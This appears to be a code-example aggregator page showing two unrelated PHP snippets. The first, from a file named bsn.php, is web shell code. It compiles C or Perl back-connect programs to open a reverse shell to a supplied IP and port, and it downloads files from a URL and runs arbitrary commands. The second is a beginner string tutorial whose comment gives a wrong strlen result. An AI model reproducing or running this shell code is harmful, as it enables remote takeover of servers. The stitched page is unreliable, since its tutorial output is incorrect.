예제 #1
0
파일: bsn.php 프로젝트: ForAEdesWeb/AEW4
     } else {
         $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
     }
 } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && $_POST['use'] == 'C') {
     $ip = trim($_POST['ip']);
     $port = trim($_POST['backport']);
     tulis("bcc.c", $back_connect_c);
     exe("gcc -o bcc bcc.c");
     exe("chmod 777 bcc");
     @unlink("bcc.c");
     exe("./bcc " . $ip . " " . $port . " &");
     $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
 } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && $_POST['use'] == 'Perl') {
     $ip = trim($_POST['ip']);
     $port = trim($_POST['backport']);
     tulis("bcp", $back_connect);
     exe("chmod +x bcp");
     $p2 = which("perl");
     exe($p2 . " bcp " . $ip . " " . $port . " &");
     $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
 } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
     $pilihan = trim($_POST['pilihan']);
     $wurl = trim($_POST['wurl']);
     $namafile = download($pilihan, $wurl);
     if (is_file($namafile)) {
         $msg = exe($wcmd);
     } else {
         $msg = "error: file not found {$namafile}";
     }
 }
 ?>
예제 #2
0
echo strlen("Hello world!");
//output 22
echo "<br><br>";
echo str_word_count("Hello world!");
echo "<br><br>";
echo strrev("Hello world!");
echo "<br><br>";
echo strpos("Hello world!", "world");
echo "<br><br>";
echo str_replace("world", "Miaw", "Hello world!");
echo "<br><br>";
function tulis()
{
    echo "nulis ini..<br><br>";
}
tulis();
function namaKeluarga($nama)
{
    echo "{$nama} Refsnes.<br>";
}
namaKeluarga("Jani");
namaKeluarga("Hege");
namaKeluarga("Stale");
namaKeluarga("Kai Jim");
namaKeluarga("Borge");
echo "<br>";
function familyName($nama, $tahun)
{
    echo "{$nama} Refsnes, lahir tahun {$tahun}. <br>";
}
familyName("Hege", "1975");